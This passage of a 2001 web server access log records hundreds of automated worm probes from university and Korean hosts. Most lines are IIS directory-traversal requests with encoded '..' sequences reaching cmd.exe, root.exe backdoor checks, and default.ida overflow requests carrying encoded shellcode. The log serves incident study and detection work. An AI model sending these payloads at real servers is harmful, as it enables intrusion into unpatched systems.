  7823. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7824. 20010919 02:32:59: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7825. 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7826. 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7827. 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7828. 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7829. 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7830. 20010919 02:33:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7831. 20010919 02:33:00: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7832. 20010919 02:41:57: ns.kcci.or.kr [210.124.8.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7833. 20010919 02:41:58: ns.kcci.or.kr [210.124.8.13] ""
  7834. 20010919 02:42:11:  [128.134.254.143] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7835. 20010919 02:42:31: ns.kcci.or.kr [210.124.8.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7836. 20010919 02:42:32:  [128.134.254.143] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7837. 20010919 02:42:50: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7838. 20010919 02:42:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7839. 20010919 02:42:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7840. 20010919 02:42:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7841. 20010919 02:42:50: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7842. 20010919 02:42:51: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7843. 20010919 02:42:51:  [128.134.254.143] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7844. 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7845. 20010919 02:43:09: ns.kcci.or.kr [210.124.8.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7846. 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7847. 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7848. 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7849. 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7850. 20010919 02:43:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7851. 20010919 02:43:09:  [128.134.254.143] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7852. 20010919 02:43:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7853. 20010919 02:43:28: ns.kcci.or.kr [210.124.8.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7854. 20010919 02:43:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7855. 20010919 02:43:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7856. 20010919 02:43:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7857. 20010919 02:43:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7858. 20010919 02:43:28:  [128.134.254.143] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7859. 20010919 02:43:46: ns.kcci.or.kr [210.124.8.13] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7860. 20010919 02:43:46:  [128.134.254.143] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7861. 20010919 02:44:05: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7862. 20010919 02:44:05: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7863. 20010919 02:44:06:  [128.134.254.143] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7864. 20010919 02:44:24: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7865. 20010919 02:44:24:  [128.134.254.143] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7866. 20010919 02:44:43: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7867. 20010919 02:44:43:  [128.134.254.143] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7868. 20010919 02:45:02: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7869. 20010919 02:45:02:  [128.134.254.143] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7870. 20010919 02:45:21: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7871. 20010919 02:45:24: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7872. 20010919 02:45:24:  [128.134.254.143] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7873. 20010919 02:45:42: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7874. 20010919 02:45:42:  [128.134.254.143] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7875. 20010919 02:46:01: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7876. 20010919 02:46:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7877. 20010919 02:46:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7878. 20010919 02:46:03:  [128.134.254.143] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7879. 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7880. 20010919 02:46:21: ns.kcci.or.kr [210.124.8.13] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7881. 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7882. 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7883. 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7884. 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7885. 20010919 02:46:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7886. 20010919 02:46:21:  [128.134.254.143] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7887. 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7888. 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7889. 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7890. 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7891. 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7892. 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7893. 20010919 02:46:40: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7894. 20010919 02:46:40:  [128.134.254.143] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7895. 20010919 02:46:58: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7896. 20010919 02:46:58:  [128.134.254.143] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7897. 20010919 02:47:17: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7898. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7899. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7900. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7901. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7902. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7903. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7904. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7905. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7906. 20010919 02:48:21: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7907. 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7908. 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7909. 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7910. 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7911. 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7912. 20010919 02:48:22: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7913. 20010919 02:48:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7914. 20010919 02:51:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7915. 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7916. 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7917. 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7918. 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7919. 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7920. 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7921. 20010919 02:54:03: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7922. 20010919 02:54:04: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7923. 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7924. 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7925. 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7926. 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7927. 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7928. 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7929. 20010919 02:54:05: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7930. 20010919 02:54:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7931. 20010919 02:57:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7932. 20010919 02:57:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7933. 20010919 02:57:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7934. 20010919 02:57:25: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7935. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7936. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7937. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7938. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7939. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7940. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7941. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7942. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7943. 20010919 02:57:26: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7944. 20010919 02:57:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7945. 20010919 02:57:27: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7946. 20010919 02:57:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7947. 20010919 02:59:26: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7948. 20010919 02:59:26: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7949. 20010919 02:59:26: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7950. 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7951. 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7952. 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7953. 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7954. 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7955. 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7956. 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7957. 20010919 02:59:27: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7958. 20010919 02:59:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7959. 20010919 02:59:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7960. 20010919 02:59:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7961. 20010919 02:59:28: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7962. 20010919 02:59:28: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7963. 20010919 03:02:28: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7964. 20010919 03:02:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7965. 20010919 03:02:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7966. 20010919 03:02:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7967. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7968. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7969. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7970. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7971. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7972. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7973. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7974. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7975. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7976. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7977. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7978. 20010919 03:02:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7979. 20010919 03:02:44: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  7980. 20010919 03:07:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  7981. 20010919 03:10:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  7982. 20010919 03:10:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7983. 20010919 03:10:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7984. 20010919 03:10:42: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  7985. 20010919 03:10:43: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
